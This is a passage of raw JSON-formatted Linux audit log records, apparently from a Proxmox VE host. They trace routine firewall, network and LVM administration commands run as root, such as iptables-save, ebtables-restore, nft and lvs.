proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875235,"@rawstring":"node=pve type=PATH msg=audit(1781965875.235:67482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966040.179:68185): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875235,"@rawstring":"node=pve type=PATH msg=audit(1781965875.235:67482): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966040.179:68184): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875230,"@rawstring":"node=pve type=PATH msg=audit(1781965875.230:67481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966040.170:68183): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875230,"@rawstring":"node=pve type=PATH msg=audit(1781965875.230:67481): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966040.170:68182): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875222,"@rawstring":"node=pve type=PATH msg=audit(1781965875.222:67480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966040.170:68181): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875222,"@rawstring":"node=pve type=PATH msg=audit(1781965875.222:67480): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.924:68180): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965875217,"@rawstring":"node=pve type=PATH msg=audit(1781965875.217:67479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.917:68179): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965875217,"@rawstring":"node=pve type=PATH msg=audit(1781965875.217:67479): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.915:68178): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875211,"@rawstring":"node=pve type=PATH msg=audit(1781965875.211:67478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.915:68177): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875211,"@rawstring":"node=pve type=PATH msg=audit(1781965875.211:67478): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.911:68176): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875204,"@rawstring":"node=pve type=PATH msg=audit(1781965875.204:67477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.904:68175): proctitle=\"ip6tables-save\""} {"@timestamp":1781965875204,"@rawstring":"node=pve type=PATH msg=audit(1781965875.204:67477): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.896:68174): proctitle=\"iptables-save\""} {"@timestamp":1781965875197,"@rawstring":"node=pve type=PATH msg=audit(1781965875.197:67476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.886:68173): proctitle=\"ip6tables-save\""} {"@timestamp":1781965875197,"@rawstring":"node=pve type=PATH msg=audit(1781965875.197:67476): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.878:68172): proctitle=\"iptables-save\""} {"@timestamp":1781965875189,"@rawstring":"node=pve type=PATH msg=audit(1781965875.189:67475): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035873,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.873:68171): proctitle=\"ebtables-restore\""} {"@timestamp":1781965875189,"@rawstring":"node=pve type=PATH msg=audit(1781965875.189:67475): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035865,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.865:68170): proctitle=\"ebtables-restore\""} {"@timestamp":1781965875184,"@rawstring":"node=pve type=PATH msg=audit(1781965875.184:67474): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.859:68169): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965875184,"@rawstring":"node=pve type=PATH msg=audit(1781965875.184:67474): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.854:68168): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PATH msg=audit(1781965875.181:67473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.847:68167): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PATH msg=audit(1781965875.181:67473): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.838:68166): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PATH msg=audit(1781965875.181:67472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.833:68165): proctitle=697073657400726573746F7265"} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PATH msg=audit(1781965875.181:67472): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.823:68164): proctitle=\"ip6tables-save\""} {"@timestamp":1781965875181,"@rawstring":"node=pve type=PATH msg=audit(1781965875.181:67471): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.817:68163): proctitle=\"iptables-save\""} {"@timestamp":1781965875176,"@rawstring":"node=pve type=PATH msg=audit(1781965875.176:67470): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.811:68162): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965875176,"@rawstring":"node=pve type=PATH msg=audit(1781965875.176:67470): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.808:68161): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965875176,"@rawstring":"node=pve type=PATH msg=audit(1781965875.176:67470): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035808,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.808:68160): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875168,"@rawstring":"node=pve type=PATH msg=audit(1781965875.168:67469): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.807:68159): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875168,"@rawstring":"node=pve type=PATH msg=audit(1781965875.168:67469): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.803:68158): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965875158,"@rawstring":"node=pve type=PATH msg=audit(1781965875.158:67468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.796:68157): proctitle=\"ip6tables-save\""} {"@timestamp":1781965875158,"@rawstring":"node=pve type=PATH msg=audit(1781965875.158:67468): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.787:68156): proctitle=\"iptables-save\""} {"@timestamp":1781965875153,"@rawstring":"node=pve type=PATH msg=audit(1781965875.153:67467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.778:68155): proctitle=69707365740073617665"} {"@timestamp":1781965875153,"@rawstring":"node=pve type=PATH msg=audit(1781965875.153:67467): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.770:68154): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965875145,"@rawstring":"node=pve type=PATH msg=audit(1781965875.145:67466): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.761:68153): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965875145,"@rawstring":"node=pve type=PATH msg=audit(1781965875.145:67466): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.163:68152): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875133,"@rawstring":"node=pve type=PATH msg=audit(1781965875.133:67465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.163:68151): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965875133,"@rawstring":"node=pve type=PATH msg=audit(1781965875.133:67465): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.163:68150): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PATH msg=audit(1781965874.621:67464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.156:68149): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PATH msg=audit(1781965874.621:67464): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.156:68148): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PATH msg=audit(1781965874.621:67463): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966035156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966035.156:68147): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874621,"@rawstring":"node=pve type=PATH msg=audit(1781965874.621:67462): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966034833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966034.833:68146): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PATH msg=audit(1781965874.603:67461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966034810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966034.810:68145): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PATH msg=audit(1781965874.603:67461): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966030.148:68144): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PATH msg=audit(1781965874.603:67460): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966030.148:68143): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874603,"@rawstring":"node=pve type=PATH msg=audit(1781965874.603:67459): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966030148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966030.148:68142): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874473,"@rawstring":"node=pve type=PATH msg=audit(1781965874.473:67458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966030.143:68141): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874473,"@rawstring":"node=pve type=PATH msg=audit(1781965874.473:67458): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966030.143:68140): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874442,"@rawstring":"node=pve type=PATH msg=audit(1781965874.442:67457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966030143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966030.143:68139): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965874442,"@rawstring":"node=pve type=PATH msg=audit(1781965874.442:67457): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966026034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966026.034:68138): proctitle=2F7573722F62696E2F7065726C002D54002F7573722F62696E2F7076656E6F64650073746F70616C6C"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PATH msg=audit(1781965869.597:67456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025746,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.746:68137): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PATH msg=audit(1781965869.597:67456): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.743:68136): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PATH msg=audit(1781965869.597:67455): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.742:68135): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965869597,"@rawstring":"node=pve type=PATH msg=audit(1781965869.597:67454): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.742:68134): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PATH msg=audit(1781965869.587:67453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.737:68133): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PATH msg=audit(1781965869.587:67453): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.730:68132): proctitle=\"ip6tables-save\""} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PATH msg=audit(1781965869.587:67452): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.723:68131): proctitle=\"iptables-save\""} {"@timestamp":1781965869587,"@rawstring":"node=pve type=PATH msg=audit(1781965869.587:67451): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.715:68130): proctitle=\"ip6tables-save\""} {"@timestamp":1781965866122,"@rawstring":"node=pve type=PATH msg=audit(1781965866.122:67450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025707,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.707:68129): proctitle=\"iptables-save\""} {"@timestamp":1781965866122,"@rawstring":"node=pve type=PATH msg=audit(1781965866.122:67450): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025704,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.704:68128): proctitle=\"ebtables-restore\""} {"@timestamp":1781965866119,"@rawstring":"node=pve type=PATH msg=audit(1781965866.119:67449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.700:68127): proctitle=\"ebtables-restore\""} {"@timestamp":1781965866119,"@rawstring":"node=pve type=PATH msg=audit(1781965866.119:67449): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966025693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966025.693:68126): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} 